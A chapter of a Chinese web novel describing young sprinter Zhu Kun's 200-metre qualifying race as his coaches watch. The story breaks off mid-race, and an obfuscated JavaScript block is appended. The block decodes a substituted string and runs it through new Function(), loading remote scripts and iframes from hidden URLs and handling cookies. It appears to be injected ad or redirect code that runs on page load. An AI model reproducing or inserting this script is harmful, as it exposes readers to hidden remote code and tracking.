第一百七十五章 朱昆的200米(1 / 2)

场边,弯道靠近直道的弧线位置。

这里聚集了相对其他地方更多的人,有运动员有教练员也有不少代表队的随行人员。关注着场中,紧张或者轻松,不时的也发出几声助威、加油的呐喊。

关注场中的人群中,自然也包括了林幕和他的临时团队。

相对于林幕的淡定,陈国斌的若有所思,那几位只知道加油、鼓励的临时队友,朱昆的师父黄教练在看到朱昆走上跑道的时候,脸上不自觉地就露出了紧张的神色。

哪怕他非常了解自己的这位弟子,熟悉他的比赛状态,他还是难免的有了紧张的情绪,因为这一跑的过程和结果,他太没底了!

他不担心朱昆会发挥失常,因为朱昆的发挥从来都是极为稳定的。哪怕是改练400米后,勉强的跑节奏,强行控制体能分配他依然比较稳。

他希望朱昆能跑出好成绩,不是因为好成绩可以进所谓的正赛,而是可以让这个逐渐失去信心、信念的少年不至于再对自己失望一次。

而当朱昆在发令枪响起的瞬间,猛然蹬踏起跑,开始起步加速的时候。黄教练不自觉的握紧了拳头,手都显得略微有些颤抖!

与此同时,当朱昆一起步,开始加速奔跑时,几名教练的目光就牢牢地锁定在他身上。

瞬间爆发强了,加速度快了,但是老问题也有了,在黄教练的感觉里,他的反应变的稍慢了些,弯道的协调比以前也差了些,但是速度真的是快啊,极快的步频终于能跑出些效率了!

同一时间,另一边的林幕也是几乎瞬间集中了精神,尽管是临时弟子,但他养成的教练习惯并没有放下。看待这一场比赛,林幕更多的是当成了是对于朱昆的内部测试,他要看看一个完整的200米下来,朱昆是不是能够完全的把自己给他安排练的东西跑出来。

因为他知道,就如同世锦赛期间的赵林和杨祖耀一样,现在的朱昆要克服他因为属性不均衡所带来的负面情况,在身体的控制力上要差了不少的。

从一接手朱昆看到属性的那一刻,林幕就已经决定了给他安排的训练方向,400米当然也可以,但是要提升速耐和综合体能上限,时间太少了,更何况,那可怜的耐力和协调。同时,如果想要更好的400米成绩,绝对的速度效率必然也要提升,这样需要补足的地方太多了。

但200米就不一样了,正好,接力项目也需要一个有速度效率的最后一棒冲刺选手。其他几人的天赋条件比起朱昆还是要差了不少的。

先强化力量爆发和核心稳定,跟着再后续补上协调和柔韧。现在有不协调的地方很正常,也正好看看他的心是不是足够坚韧能克服下来。在林幕看来,意志品质,一定程度上也决定了他未来的成就上限。

同在观察的陈国斌微不可查的摇摇头,队里曾经讨论的情况真实的发生在朱昆的身上。因为力量和爆发的增强,朱昆对于身体的掌控力下降了。

不过加速确实是不慢,大步加上极快的步频,不错的力量爆发,几步间速度就已经相当可观,也明显的比同组的其他选手效率高了很多。

但以他一名专业教练的眼光来看,这样的程度也只能算是一般的水平,就算在同龄人中比,想真正冒尖也是难度极大。如果都是这样,在他看来,竞争力真的不大。

按照林教练说的,还需要继续加强,目前也就是第一阶段。那么再加强后呢?现在陈国斌反而有些担心起来。继续加强,朱昆的掌控力和身体协调必然进一步降低,通过训练是不是真的可以在不影响加强部分的情况下,把平衡给找回来?

在几名教练和运动员们心绪各异的注视中,转眼间朱昆的弯道跑到了最后阶段。马上要进入直道了,场中的局势也逐渐趋于明朗。

当看到朱昆带着点小别扭终于顺利拐进直道后,林幕的脸上难得的浮现了一丝满意的笑意。

几天的时间实在是太短了,真要让朱昆从根本上有突飞猛进的均衡提升那是根本不可能的事。更何况,他还有严重的先天偏科。最终也只能利用教练等级的加成,和百科的属性强化任务,强行的补力量增加步幅间的爆发力,来发挥他的敏捷优势。

对于朱昆来说,之前为了维持相对均衡,所以在各方面资质素质都是偏低的。但他有个十分优秀的步频节奏,现在有了力量和爆发的提升,再针对的调整下更利于爆发的动作,效果不说立竿见影,至少也是最大效率的提升了。当然,伴随着的问题就是步频慢了些,身体的反应和协调也无法适应力量的增长。

一名成熟的200米、400米运动员,必然有他跑步的节奏和对于跑步的感觉。林幕强调的找回自己、超越自己也更多的是为了让朱昆,把潜意识和肌肉记忆里的那些感觉跑出来。

不要因为身体的违和而丧失了那种感觉,因为按照林幕的思路,除非属性到了百科能提升的极限,否则以后这样不协调的情况必然会时常出现。

现在的情况还算不错,一条100多米的弯道,朱昆用他最大的力量爆发着跑下来了。虽然起步加速到巅峰速度都还远远谈不上多快,不说和国内当前一流的短跑选手比,就是比些二流的也还有不足。但和这些同样参加预选赛的年轻运动员们比,就不是那么回事了!

“黄教练,这趟小朱跑的不错,明天比赛完就可以开始进行下一阶段训练了!”看着黄教练依然一副严阵以待的紧张模样,林幕轻松的说道。

已经跑上直道,艰难阶段已经过去,后面这段直道,有现在这样的速度和他的速耐支持,不会再有多大问题。

似乎只是无意识的点了点头,黄教练没有回话,眼神依然紧盯着赛道。显然,林幕说的话,他并没有真正听的进去。

这个黄教练!林幕轻笑着摇了摇头。他甚至于怀疑,可能从头到尾,朱昆的动作他都没有能记在心里,到底是好是坏林幕也没法去说什么。或许个人都个人的理念吧?!

……

跑道上,朱昆并不知道关注他的两位教练的想法如何,他终于找到了他曾经跑步的感觉,这个时候他把全部的身心都沉浸在了奔跑里。

起步加速既感觉慢了,好像又快了,他有些分不清楚。他能感觉到,他跑出的最合适的步频节奏慢了。但跨步的力量肯定变强了,尤其是起步加速的瞬间,他能够感觉自己蹬踏起跑器和踩在跑道上时比以前更加有力了。

曾经那种用力甩着大步就似乎飘起来的摇晃感少了很多,每一步踩在跑道上,他都能够感觉一股地面的推动,让他跑起来很有种脚踏实地的感觉。但是伴随的别扭感真的不小啊!

三十米,四十米,五十米,

力量与速度的感觉越强烈,似乎要被离心力推出跑道的感觉也在逐渐增加。而朱昆感觉他靠着身形动作协调起来也越来越困难。但他没有一点要放缓脚步、放弃力量的想法,努力的控制着自己沿着跑道的内侧边缘在前进。

林教练早有预料的事啊,而且林教练说了,我能跑下来,我也必然能跑下来!

倔强的少年抓着心中的信念保持着速度,在弯道上驰骋,而且他的速度正越来越快!

八十米、九十米、一百米,弯道进直道……

跑道上,当跨进直道的那一刻,朱昆有种豁然开朗的感觉,不需要再去努力控制着倾身状态下的协调,几步间,他感觉跑起来越来越自如,越来越轻快。

虽然还有7名对手,但从一开始他似乎就已经把他们遗忘,此时最后的80米,完全的直道,速度狂飙间其余的选手也更加不重要。

冲、冲、冲

身体稍有的僵硬感,比起刚刚那努力的维持轻松太多。身体近乎无氧状态的憋闷感开始渐渐清晰,但一年多为了400米而去拼命训练的速耐不是白练的,这点难受的感觉还不能对他有太多的影响。

离终点越来越近!

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();